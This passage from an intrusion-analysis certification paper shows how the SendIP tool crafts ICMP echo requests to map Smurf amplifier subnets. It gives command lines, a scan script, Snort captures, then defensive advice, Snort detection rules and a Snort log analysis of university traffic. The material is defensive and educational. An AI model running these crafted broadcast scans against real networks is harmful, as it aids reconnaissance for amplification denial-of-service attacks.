<options> are the field values the attacker may set from the command line.
Table 1 shows the IPv4 ICMP options, as defined in the SendIP man page. Note that the
default value “Correct” means the value cannot be crafted or is determined based on other
field values from the message. In addition, SendIP supports IPv6.
44
Option Flag
-ct
-cd
-cc
ICMP Field
Type
Code
Checksum
Default Value
8
0
“Correct”
Notes
See RFC 792
See RFC 792
Table 1: ICMP IPv4 SendIP Command Line Options
Note that if an ICMP packet is to be sent to a broadcast address, the “-sb” option must be
used. The argument that is supplied to the –sb option is the number of ICMP packets to
be sent to the broadcast address.
SendIP also lets the attacker define the IP header field values on the command line. Table
2 below shows the SendIP options used to set these fields.
Option Flag
-is
-id
-ih
-iy
-il
-ii
-ifr
-ifd
-ifm
-if
-it
-ip
-ic
-io
IP Field
Source IP
Destination IP
Header Length
Type of Service (TOS)
Length
Identification Number
Reserved Flag
Don’t Fragment
More Fragments
Fragment Offset
TTL
Protocol
Checksum
Options
Default Value
127.0.0.1
“Correct”
“Correct”
0
“Correct”
Random
0
0
0
0
255
“Correct for type”
“Correct”
Notes
See RFC791
“not yet implemented”
Table 2: IP IPv4 SendIP Command Line Options
Using these options, an attacker could send a crafted ICMP echo reply to the host
192.168.1.21 with the destination address in the ICMP payload, a TTL of 255, a TOS of
0x04 (decimal 4), an IP ID of 41101, and a source address of 192.168.1.28 with the
following command:
./sendip 192.168.1.21 -p ICMP -d "00000000c0a80115" -ct 0
-it 255 -iy 0x04 -ii 41101 –is 192.168.1.28
Note that the ICMP payload string is padded with 8 bytes of zeros, which is number of
bytes preceding the ICMP payload as shown in Figure 5.
Signature of the Attack:
The following traffic shows a “standard” ping to a Cisco router and its reply, the
45
traffic signature of the SendIP tool to the network address and broadcast address of a
subnet, and the resulting responses. The following traffic was generated on a class C
subnet with the following characteristics (note that the IP addresses and MAC addresses
have been sanitized):
Subnet Network Address: 192.168.1.0
Subnet Netmask: 255.255.255.224
Subnet Hosts: 192.168.1.1 - 192.168.1.30
Subnet Broadcast Address: 192.168.1.31
The following host was used to generate the traffic:
Attacking host (Linux box running Mandrake 7.1): 192.168.1.28
A script was used to generate the “standard” ping and the SendIP pings. The script used
is as follows:
#!/bin/sh
ping 192.168.1.30
./sendip 192.168.1.0 -p ICMP -d "00000000c0a80100"
–sb 1 -it 240 -iy 0xC0 -ii 1206 -ct 8 -is 192.168.1.28
./sendip 192.168.1.31 -p ICMP -d "00000000c0a8011F"
-sb 1 -it 240 -iy 0xC0 -ii 1206 -ct 8 -is 192.168.1.28
Snort captured the traffic to a file using the following command:
./snort –dve > sendip_traffic
The responses to the broadcast packets were generated by machines running various
version of Solaris (2.6, 7, and 8), as well as two Cisco 2600 routers. There was also NT
machines in the subnet, but NT’s do not respond to echo requests sent to the broadcast
address. The packet capture from Snort is shown below:
Here we see the attacker pinging the 192.168.1.30 host. Take note of the TTL, IP ID
number, the TOS number, the ICMP ID and sequence number, and the ICMP
payload data. These values are characteristic of a non-crafted ICMP echo request
message sent from a Linux host. Note the payload will look different, and may
contain more or less data, if the sender uses the “-s” option in their ping command.
06/11-10:12:13.191427 0:D0:59:13:a:b -> 0:30:80:3C:a:b type:0x800 len:0x62
192.168.1.28 -> 192.168.1.30 ICMP TTL:64 TOS:0x0 ID:290 IpLen:20 DgmLen:84
Type:8 Code:0 ID:38403
Seq:0 ECHO
CD DF 24 3B F1 E7 02 00 08 09 0A 0B 0C 0D 0E 0F ..$;............
10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F ................
20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F
!"#$%&'()*+,-./
46
30 31 32 33 34 35 36 37
01234567
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Here we see the ICMP echo reply from the Cisco router. Note the TTL value has
been set to 255, the TOS is 0, the IP ID, and the ICMP ID and sequence number are
the same as in the ICMP echo request. Also, the ICMP payload from the
request is returned in the reply. The fact that the IP ID is the same can be used in
doing OS fingerprinting in this attack.
06/11-10:12:13.192641 0:30:80:3C:a:b -> 0:D0:59:13:a:b type:0x800 len:0x62
192.168.1.30 -> 192.168.1.28 ICMP TTL:255 TOS:0x0 ID:290 IpLen:20 DgmLen:84
Type:0 Code:0 ID:38403 Seq:0 ECHO REPLY
CD DF 24 3B F1 E7 02 00 08 09 0A 0B 0C 0D 0E 0F ..$;............
10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F ................
20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F
!"#$%&'()*+,-./
30 31 32 33 34 35 36 37
01234567
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Next we’ll see the attacking host sending crafted ICMP echo request messages to
192.168.1.0 using the SendIP tool. Notice the TTL, TOS, IP ID, and ICMP payload
data are set to the values passed on the command line in the script above. In
particular, notice the payload is the destination IP address in hex.
Here we send an echo request to the network address of the subnet.
06/12-10:56:37.916820 0:D0:59:13:a:b -> FF:FF:FF:FF:FF:FF type:0x800 len:0x2E
192.168.1.28 -> 192.168.1.0 ICMP TTL:240 TOS:0xC0 ID:1206 IpLen:20 DgmLen:32
Type:8 Code:0 ID:0
Seq:0 ECHO
C0 A8 01 00
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Notice that the echo replies have a different IP ID than the request, except the hosts
192.168.1.25 and 192.168.1.30 (both are Cisco routers).
06/12-10:56:37.916938 8:0:20:B4:a:b -> 0:D0:59:13:a:b type:0x800 len:0x3C
192.168.1.8 -> 192.168.1.28 ICMP TTL:255 TOS:0xC0 ID:37552 IpLen:20 DgmLen:32
DF Type:0 Code:0 ID:0 Seq:0 ECHO REPLY
C0 A8 01 00
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/12-10:56:37.916940 8:0:20:B4:a:b -> 0:D0:59:13:a:b type:0x800 len:0x3C
192.168.1.1 -> 192.168.1.28 ICMP TTL:255 TOS:0xC0 ID:38350 IpLen:20 DgmLen:32
DF Type:0 Code:0 ID:0 Seq:0 ECHO REPLY
C0 A8 01 00
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/12-10:56:37.916954 8:0:20:B4:a:b -> 0:D0:59:13:a:b type:0x800 len:0x3C
192.168.1.9 -> 192.168.1.28 ICMP TTL:255 TOS:0xC0 ID:29590 IpLen:20 DgmLen:32
DF Type:0 Code:0 ID:0 Seq:0 ECHO REPLY
C0 A8 01 00
....
47
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/12-10:56:37.916974 8:0:20:A9:a:b -> 0:D0:59:13:a:b type:0x800 len:0x3C
192.168.1.26 -> 192.168.1.28 ICMP TTL:255 TOS:0xC0 ID:50336 IpLen:20
DgmLen:32 DF Type:0 Code:0 ID:0 Seq:0 ECHO REPLY
C0 A8 01 00
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/12-10:56:37.916977 8:0:20:FD:a:b -> 0:D0:59:13:a:b type:0x800 len:0x3C
192.168.1.15 -> 192.168.1.28 ICMP TTL:255 TOS:0xC0 ID:51382 IpLen:20
DgmLen:32 DF Type:0 Code:0 ID:0 Seq:0 ECHO REPLY
C0 A8 01 00
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/12-10:56:37.916989 8:0:20:F8:a:b -> 0:D0:59:13:a:b type:0x800 len:0x3C
192.168.1.14 -> 192.168.1.28 ICMP TTL:255 TOS:0xC0 ID:30044 IpLen:20
DgmLen:32 DF Type:0 Code:0 ID:0 Seq:0 ECHO REPLY
C0 A8 01 00
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/12-10:56:37.917776 0:2:16:3E:a:b -> 0:D0:59:13:a:b type:0x800 len:0x3C
192.168.1.25 -> 192.168.1.28 ICMP TTL:255 TOS:0xC0 ID:1206 IpLen:20 DgmLen:32
Type:0 Code:0 ID:0 Seq:0 ECHO REPLY
C0 A8 01 00
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/12-10:56:37.917979 0:30:80:3C:a:b -> 0:D0:59:13:a:b type:0x800 len:0x3C
192.168.1.30 -> 192.168.1.28 ICMP TTL:255 TOS:0xC0 ID:1206 IpLen:20 DgmLen:32
Type:0 Code:0 ID:0 Seq:0 ECHO REPLY
C0 A8 01 00
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Now the attacking host sends an echo request to the broadcast address of the
targeted subnet. Again, the payload is the destination IP address in hex.
06/11-09:16:50.509428 0:D0:59:13:a:b -> FF:FF:FF:FF:FF:FF type:0x800 len:0x2E
192.168.1.28 -> 192.168.1.31 ICMP TTL:240 TOS:0xC0 ID:1206 IpLen:20 DgmLen:32
Type:8 Code:0 ID:0
Seq:0 ECHO
C0 A8 01 1F
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
The remaining portion of the packet capture shows the hosts in the 192.168.1.0
network responding to the attacking hosts’ ICMP echo request to the broadcast
address.
06/11-09:16:50.509535 8:0:20:B4:a:b -> 0:D0:59:13:a:b type:0x800 len:0x3C
192.168.1.1 -> 192.168.1.28 ICMP TTL:255 TOS:0xC0 ID:12024 IpLen:20 DgmLen:32
DF Type:0 Code:0 ID:0 Seq:0 ECHO REPLY
C0 A8 01 1F
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-09:16:50.509551 8:0:20:B4:a:b -> 0:D0:59:13:a:b type:0x800 len:0x3C
48
192.168.1.8 -> 192.168.1.28 ICMP TTL:255 TOS:0xC0 ID:11521 IpLen:20 DgmLen:32
DF Type:0 Code:0 ID:0 Seq:0 ECHO REPLY
C0 A8 01 1F
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-09:16:50.509572 8:0:20:B4:a:b -> 0:D0:59:13:a:b type:0x800 len:0x3C
192.168.1.9 -> 192.168.1.28 ICMP TTL:255 TOS:0xC0 ID:3149 IpLen:20 DgmLen:32
DF Type:0 Code:0 ID:0 Seq:0 ECHO REPLY
C0 A8 01 1F
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-09:16:50.509606 8:0:20:F8:a:b -> 0:D0:59:13:a:b type:0x800 len:0x3C
192.168.1.14 -> 192.168.1.28 ICMP TTL:255 TOS:0xC0 ID:6493 IpLen:20 DgmLen:32
DF Type:0 Code:0 ID:0 Seq:0 ECHO REPLY
C0 A8 01 1F
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-09:16:50.509609 8:0:20:A9:a:b -> 0:D0:59:13:a:b type:0x800 len:0x3C
192.168.1.26 -> 192.168.1.28 ICMP TTL:255 TOS:0xC0 ID:29865 IpLen:20
DgmLen:32 DF Type:0 Code:0 ID:0 Seq:0 ECHO REPLY
C0 A8 01 1F
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-09:16:50.509621 8:0:20:B2:a:b -> 0:D0:59:13:a:b type:0x800 len:0x3C
192.168.1.20 -> 192.168.1.28 ICMP TTL:255 TOS:0xC0 ID:6403 IpLen:20 DgmLen:32
DF Type:0 Code:0 ID:0 Seq:0 ECHO REPLY
C0 A8 01 1F
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-09:16:50.509624 8:0:20:FD:a:b -> 0:D0:59:13:a:b type:0x800 len:0x3C
192.168.1.15 -> 192.168.1.28 ICMP TTL:255 TOS:0xC0 ID:30341 IpLen:20
DgmLen:32 DF Type:0 Code:0 ID:0 Seq:0 ECHO REPLY
C0 A8 01 1F
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-09:16:50.510403 0:2:16:3E:a:b -> 0:D0:59:13:a:b type:0x800 len:0x3C
192.168.1.25 -> 192.168.1.28 ICMP TTL:255 TOS:0xC0 ID:1206 IpLen:20 DgmLen:32
Type:0 Code:0 ID:0 Seq:0 ECHO REPLY
C0 A8 01 1F
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
06/11-09:16:50.510589 0:30:80:3C:a:b -> 0:D0:59:13:a:b type:0x800 len:0x3C
192.168.1.30 -> 192.168.1.28 ICMP TTL:255 TOS:0xC0 ID:1206 IpLen:20 DgmLen:32
Type:0 Code:0 ID:0 Seq:0 ECHO REPLY
C0 A8 01 1F
....
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
Had the attacker not known the subnet mask, and sent two ICMP echo requests to the
broadcast addresses 192.168.1.31 (subnet mask of 255.255.255.224) and 192.168.1.15
(subnet mask 255.255.255.240), he would have known which of the two subnet broadcast
addresses was correct based on the ICMP echo reply packet’s payload.
How to Protect against Smurf Broadcast Scanning:
49
The following measures should be taken to protect your organization from being scanned
for Smurf amplifiers and from suffering a Smurf attack.
1. Do not allow ICMP echo requests to or past your firewall from the Internet.
Depending on your network policy, you may wish to block echo requests at the router
and only allow in echo replies [3].
2. Do not allow ICMP directed broadcasts to the router directly connected to your
internal subnets. For Cisco routers, apply the following command to every interface
on the router: no ip directed-broadcast. Note that in Cisco IOS 12.0 and
higher, this rule is the default [4].
3. Implement egress filtering to ensure a Smurf attack is not launched using reserved IP
addresses to or from your internal network [5]. The following papers provide an
explanation of egress filtering and gives illustrated examples on how to implement
egress filtering and other critical router blocking recommendations:
What is Egress Filtering and How Can I Implement It? Egress Filtering v 0.2
http://www.sans.org/infosecFAQ/firewall/egress.htm
Cisco Anti-Spoof Egress Filtering
http://www.sans.org/dosstep/cisco_spoof.htm
Top Ten Blocking Recommendations Using Cisco ACLs - Securing the Perimeter with
Cisco IOS 12 Routers
http://www.sans.org/infosecFAQ/firewall/blocking_cisco.htm
4. To determine if your network is being used a Smurf amplifier, or to see if ICMP echo
request packets with crafted payloads are being sent to your network from known
Smurf amplification sites, check http://www.netscan.org. This site contains a
browsable and searchable list of known ICMP Smurf amplifiers.
5. Consider loading a Smurf amplifier-blocking ACL into your router. The following
site has an option to print a current list of Smurf amplifiers in Cisco ACL format to
your browser screen: http://www.powertech.no/smurf/list.cgi?format=cisco-acl. As of
6/10/01 at 21:12:51 CET, this list contained ACL rules for 668 known Smurf
amplifier addresses.
6. Use an IDS such as Snort that can implement a custom signature that looks at the IP
and ICMP header fields and packet payload to detect a "Netmask-based ICMP Echo
Request Smurf Broadcast Scans with Crafted ICMP Payloads" attack. The following
Snort Version 1.7 rule will accomplish this:
alert icmp $EXTERNAL_NET any -> $HOME_NET any (msg:"ICMP
Echo Request SendIP Smurf Scanner and Subnet Broadcast
Recon"; itype:8; icmp_id:0; icmp_seq:0; content: "| The
50
first two or three octets of your IP block in here, in
hex, without spaces. See the note below. |";)
Note: If your IP block is the class C network 192.168.1.* or the class B network
192.168.*.*, the content string should be: “|C0A801|” or “|C0A8|”, respectively.
An ICMP echo request packet with a crafted IP ID, ICMP ID and ICMP sequence
number sent from SendIP, and detected by Snort version 1.7 using the default
signatures from http://www.snort.org, will be identified by the “ICMP Broadscan
Smurf Scanner” signature in the icmp.rules file. This is a false identification. The
Broadscan tools, as well as hping2 (all available at
http://packetstormsecurity.org/UNIX/scanners), cannot craft the IP ID or the ICMP
ID number without custom modification of the source code. See Appendix B for
packet traces from the Broadscan and hping2 tools.
Of course the attacker could reverse the destination address octets in the payload, or
devise a totally random mapping they store offline (ie 192.168.1.0 -> cat,
192.168.1.31 -> dog, etc.). This would render the Snort signature useless in this
specific case. However, the “ICMP Broadscan Smurf Scanner” signature is generic
enough that it will trigger on such a packet.
Finally, it should be noted that ISS Realsecure does not have the ability to detect this
particular attack. Realsecure only identifies the packets as "ICMP Echo Requests".
After inspecting the Access database table Realsecure uses to store the event data,
very few of the IP and ICMP fields are logged. In particular, the TOS and ICMP
payload data are not logged. These fields were critical in identifying this particular
attack and the tool suspected of creating it.
Source Code:
The SendIP program is available at the following URL’s:
http://www.earth.li/projectpurple/progs/sendip.html
http://packetstormsecurity.org/UNIX/utilities/sendip-1.5.tar.gz
The program can be downloaded as a tar ball, source RPM or a binary RPM from the first
URL, and as a tar ball from Packetstorm. There are numerous files in the package,
including source code files, header files, a makefile and shell script, and a GNU Public
License file. For this reason, the source code and its accompanying files will not be
included here.
All testing and traces produced for Assignment 2 of this practical was done using SendIP
version 1.5 from the Packetstorm web site.
51
Assignment 3 – “Analyze This” Scenario
Security Audit Analysis Results Overview for GIAC University
The following Snort log analysis was done using one-week’s worth of logs provided by GIAC
University. The dates in mention are April 13, 2001 through April 19, 2001. Three different
types of Snort logs were provided: Alert logs, OOS (Out-of-Spec) logs and Scan logs. One of
each of these logs for the specified period was provided, for 21 total log files that are listed in
Table 3 below:
Alert Logs
alert.010413.gz
alert.010414.gz
alert.010415.gz
alert.010416.gz
alert.010417.gz
alert.010418.gz
alert.010419.gz
OOS Logs
oos_Apr.13.2001.gz
oos_Apr.14.2001.gz
oos_Apr.15.2001.gz
oos_Apr.16.2001.gz
oos_Apr.17.2001.gz
oos_Apr.18.2001.gz
oos_Apr.19.2001.gz
Scan Logs
scans.010413.gz
scans.010414.gz
scans.010415.gz
scans.010416.gz
scans.010417.gz
scans.010418.gz
scans.010419.gz
Table 3: Snort Logs Provided by GIAC University for Analysis.
What follows is an analysis of each of the log types, including specific information about events
detected within those logs. Correlation information is provided for the top five source IP's
against SANS GIAC alerts, other GCIA analysts, SANS CID database, and any posting found
using the search engine Google. Insight is also offered into internal system compromises or
possibly dangerous or malicious network traffic when possible. A final recommendation is also
included about possible system misuse and/or compromise.
Although there are three different types of log files, not all the data is mutually exclusive of each
other. Some data in various logs appears in other logs, while other data is unique to the log file
that it came from (such as the OOS log data). To account for this, great care was taken to
separate out log data into unique sets and not to analyze the same data across different log types.
A summary of the analysis process is described below, and is fully explained in Appendix A.
 For the alert and scan logs a “top talkers” and “top destinations”, or the most active IP
addresses in terms of network traffic, list is provided. In addition, external source address and
registration information about the “top ten talkers” is provided.
 The alert log data that neither originated from, nor was destined to, the internal network was
singled out from the other alert data for analysis. An “attack signature” analysis of the alert
files was done using the alert data and the tool SnortSnarf for the top five source and
destination addresses. However, SnortSnarf does not analyze port scan data, so a separate
data set containing only Snort spp_portscan totals was created.
 The OOS data will be analyzed using a link graph and selected database queries.
52
Snort Alert Log “Attack Signature” Analysis
Figure 6: The main SnortSnarf page, which shows a prioritized list of events by number of occurrence.
53
SnortSnarf reported the following event signatures as shown in figure 6 above:
TCP SMTP Source Port traffic Alert
 All sources triggering this attack signature
Source
204.214.6.215
# Alerts (sig)
1
# Alerts (total)
1
# Dsts (sig)
1
# Dsts (total)
1
# Srcs (sig)
1
# Srcs (total)
1
 All destinations receiving this attack signature
Destinations
MY.NET.201.32
# Alerts (sig)
1
# Alerts (total)
1
 Brief description of the attack
The attacker will often try to penetrate a network by setting their source port to a well-known
port that is normally allowed past stateful firewalls. By setting the source port to 25, SMTP
(Simple Mail Transport Protocol), the attacker is attempting to scan your network and
possibly evade any IDS defenses.
In addition, this particular scan has a source port of 25 and a destination port of 1004. Note
that any port less than 1024 is a reserved port. An internally initiated connection with a mail
server will result in the initial SYN packet having a ephemeral (greater than 1023) source
port. The server will then communicate back to the client with a source port of 25 and the
ephemeral destination port. This is not the case as shown below in the Snort alert (remember
that “MY.NET” was changed to “199.256” to analyze the traffic using SnortSnarf).
04/19-10:48:40.446704 [**] TCP SMTP Source Port traffic [**]
204.214.6.215:25-> 199.256.201.32:1004
 Defensive recommendation
Use a stateful firewall that can detect an incoming connection from port 25 that was not
initiated from the internal network.
 Correlation
No correlations were found for the external source IP on the GIAC site, SANS CID, or on
Google.
Probable NMAP fingerprint attempt
 All sources triggering this attack signature
54
Source
212.171.49.18
200.42.5.159
# Alerts (sig)
1
1
# Alerts (total)
1
2
# Dsts (sig)
1
1
# Dsts (total)
1
1
# Srcs (sig)
1
1
# Srcs (total)
1
1
 All destinations receiving this attack signature
Destinations
MY.NET.223.206
MY.NET.221.134
# Alerts (sig)
1
1
# Alerts (total)
1
2
 Brief description of the attack
This attack is an attempt to identify the Operating System (OS) of the destination hosts by
seeing how they respond to packets that contain non-standard flag combinations (per the
RFC's). This is what's known as OS fingerprinting. If the destination hosts respond to packets
sent by the Nmap tool, they are then compared to a database of responses. This attack is a
reconnaissances scan, and can be a prelude to a more serious and focused attack. More
information about Nmap can be obtained here: http://www.insecure.org/nmap.
In addition, the attacker 200.42.5.159 is attempting to connect to your internal host
MY.NET.221.134 on port 6346. Note that this is the default port for the Gnutella file sharing
application.
 Defensive recommendation
The best defense against OS fingerprinting is a fully patched stateful firewall and an
aggressive firewall policy. The attacker must receive a response to conduct OS
fingerprinting. Only traffic into, and out of, your network that is necessary to your business
function. For example, consider only allowing in ICMP echo-replies to your network, not
echo-requests. Since attackers have used, and will continue to use, Nmap to scan your
network, you should consider having your security administrator or a security contractor run
Nmap on your network to find any vulnerabilities.
In addition, the system owner of the host MY.NET.221.134 should be educated about the
dangers of Gnutella. More information about Gnutella is available here:
http://www.gnutellanews.com/information/what_is_gnutella.shtml. If you policy permits,
block incoming traffic to port 6346 at the firewall or border router.
 Correlation
The only correlation found was for the source IP 200.42.5.159 was in the SANS CID
database dated 4/24/2001 (http://www.incidents.org/cid/search.php, search parameter =
200.42.5.159).
Source IP
200.42.5.159
Source Port
51
Destination Port
6346
Protocol
6 (TCP)
Date
4/24/01
55
The host 200.42.5.159 generated the following alerts in your Snort logs, and the attacker also
tried to connect to port 6346 on the MY.NET.221.134 using a Null Scan.
04/13-02:11:03.619489 [**] Probable NMAP fingerprint attempt
[**] 200.42.5.159:2055-> 199.256.221.134:6346
04/13-03:11:59.062700 [**] Null scan! [**] 200.42.5.159:2055->
199.256.221.134:6346
ICMP Source and Destination Outside Network
 All sources triggering this attack signature
Source
172.133.107.47
172.128.180.68
172.130.189.17
# Alerts (sig)
1
1
1
# Alerts (total)
1
1
1
# Dsts (sig)
1
1
1
# Dsts (total)
1
1
1
# Srcs (sig)
1
1
1
# Srcs (total)
1
1
1
 All destinations receiving this attack signature
Destinations
24.180.186.215
24.200.115.13
198.207.223.246
# Alerts (sig)
1
1
1
# Alerts (total)
1
1
1
 Brief description of the attack
This ICMP traffic appears to be spoofed from your internal network. The attacker is spoofing
their source address to be that of AOL's (America Online) class A netblock AOL-172BLK, a
favorite target of script kiddies. Spoofing is done in an attempt to remain anonymous while
possibly launching a Denial of Service (DoS) attack, or in an elaborate reconnaissance scan that
include ARP or DNS cache poisoning. These packets can be very difficult to trace back to the
true owner, even if logs from the victim and upstream ISP providers are correlated.
 Defensive recommendation
IP spoofing, when used in a DoS attack like Smurf, can be very dangerous. The best defense
against IP spoofing within your internal network is performing egress filtering at your border
routers. The following SANS paper provides an excellent description of and instructions on
how to implement egress filtering: http://www.sans.org/infosecFAQ/firewall/egress.htm.
There is a CVE advisory under review for ICMP MTU path discovery packets when spoofing
traffic between two UNIX hosts. The advisory information is located at the following URL:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2001-0323.
56
 Correlation
No correlations were found for the external source IP’s on the GIAC site, SANS CID, or on
Google. Even if correlations were found, it would be very hard to trace the attack back to
your own network.
Russia Dynamo – SANS Flash 28-jul-00
 All sources triggering this attack signature
Source
MY.NET.178.42
194.87.6.109
194.87.6.201
# Alerts (sig)
6
2
1
# Alerts (total)
6
2
1
# Dsts (sig)
1
1
1
# Dsts (total)
1
1
1
# Srcs (sig)
1
2
# Srcs (total)
1
2
 All destinations receiving this attack signature
Destinations
194.87.6.109
MY.NET.178.42
# Alerts (sig)
6
3
# Alerts (total)
6
3
 Brief description of the attack
The Russia Dynamo traffic involved source port 8080 and destination port 2418. This is not
the case in these attacks. The same class C network is involved, 194.87.6.0, but the traffic
involves the reserved port 317 and numerous ephemeral ports. The source port 317 (TCP and
UDP) is associated with the ZanNet application. According to the ZanNet web site,
http://www.zannet.com:
"ZanNet is a combination Windows 95/98 network client and Unix server that provides you
with a Windows 95/98 network drive to access your server files. ZanNet is intended to
replace both File Transfer Protocol (FTP) and Telnet programs currently used to access web
pages and other files through an Internet Service Provider (ISP)."
This application boasts being able to bypass Telnet authentication and not needing root
access to install the binary. If an attacker is able to install this application on an internal
machine via a trojaned application, they will have remote access to the victim machine.
 Defensive recommendation
Due to the numerous correlations to strange traffic emanating from the 194.87.6.0 network,
this network should be blocked at the border routers, both inbound and outbound. In addition,
your internal host MY.NET.178.42 should be inspected for trojans and other viruses. In
particular, I recommend inspecting the host for the ZanNet application and remove it if it
exists. You should also determine what this host's function is. If it is a host that contains any
57
sensitive data, you should strongly consider rebuilding the machine using vendor supplied
media.
You may wish to create a new set of Snort alert signatures for this traffic. The following
Snort alerts are recommended for ZanNet.
alert tcp $EXTERNAL_NET :1024 -> $HOME_NET 317 (msg: "Possible
Inbound Russia Dynamo - ZanNet TCP Traffic";)
alert udp $EXTERNAL_NET :1024 -> $HOME_NET 317 (msg: "Possible
Inbound Russia Dynamo - ZanNet UDP Traffic";)
alert tcp $ HOME_NET 317 -> $ EXTERNAL_NET :1024 (msg:
"Possible Outbound Russia Dynamo - ZanNet TCP Traffic";)
alert tcp $ HOME_NET 317 -> $ EXTERNAL_NET :1024 (msg:
"Possible Outbound Russia Dynamo - ZanNet UDP Traffic";)
 Correlation
The 194.87.6.0 network was reported as having generated and received "Russia Dynamo"
traffic in the following reports:
http://www.sans.org/y2k/practical/Miika_Turkia_GCIA.html
http://www.sans.org/y2k/110100.htm
http://www.sans.org/y2k/072818.htm
Correlations for the host 194.87.6.201 were found on the SANS GIAC site. Links to their
locations are below. Although the ports are not the same as in this trace, it does seem to
indicate that the attacker does have malicious intentions. No correlations were found for the
194.87.6.109 host.
http://www.sans.org/y2k/072900-1100.htm
http://www.sans.org/y2k/080400.htm
The following traces were taken from SnortSnarf concerning traffic to and from
MY.NET.178.42:
04/16-18:14:34.196279 [**] Russia Dynamo - SANS
00 [**] 194.87.6.201:1075->199.256.178.42:317
04/18-19:29:47.702235 [**] Russia Dynamo - SANS
00 [**] 194.87.6.109:1576->199.256.178.42:317
04/18-19:31:26.986056 [**] Russia Dynamo - SANS
00 [**] 194.87.6.109:1597->199.256.178.42:317
04/18-19:13:02.754291 [**] Russia Dynamo - SANS
00 [**] 199.256.178.42:317->194.87.6.109:1497
04/18-19:29:14.699876 [**] Russia Dynamo - SANS
00 [**] 199.256.178.42:317->194.87.6.109:1568
Flash 28-julFlash 28-julFlash 28-julFlash 28-julFlash 28-jul-
58
04/18-19:29:49.812165 [**] Russia Dynamo - SANS
00 [**] 199.256.178.42:317->194.87.6.109:1576
04/18-19:30:07.197961 [**] Russia Dynamo - SANS
00 [**] 199.256.178.42:317->194.87.6.109:1581
04/18-19:30:43.678466 [**] Russia Dynamo - SANS
00 [**] 199.256.178.42:317->194.87.6.109:1589
04/18-19:31:11.624247 [**] Russia Dynamo - SANS
00 [**] 199.256.178.42:317->194.87.6.109:1594
Flash 28-julFlash 28-julFlash 28-julFlash 28-jul-
NMAP TCP ping!
 Top 5 sources triggering this attack signature
Source
63.117.235.7
204.155.48.3
64.245.33.112
193.41.181.254
207.30.174.254
# Alerts (sig)
2
1
1
1
1
# Alerts (total)
2
1
1
1
1
# Dsts (sig)
2
1
1
1
1
# Dsts (total)
2
1
1
1
1
# Srcs (sig)
2
2
2
2
1
# Srcs (total)
2
2
2
2
1
 Top 5 destinations receiving this attack signature
Destinations
MY.NET.1.3
MY.NET.253.125
MY.NET.60.14
MY.NET.100.165
MY.NET.130.187
# Alerts (sig)
2
2
2
2
1
# Alerts (total)
2
2
2
2
1
 Brief description of the attack
This is a case of the attacker scanning your network using the TCP ping feature of Nmap.
The attacker sent packets from port 80 to ports 53, 80 and 137. If the attacker receives any
responses, they are better informed at to what services are listening and could be potentially
exploited.
 Defensive recommendation
The best defense against port scans is a stateful firewall with an aggressive firewall policy.
The border router could also be configured to deny all services except those which are
explicitly allowed. While this router configuration policy is not consistent with the "shared
information" mission of most Universities, it is strongly advised that you consider it.
There is a CVE advisory under review for TCP SYN pings using Nmap against
PCAnywhere. The advisory information is located at the following URL:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0324.
59
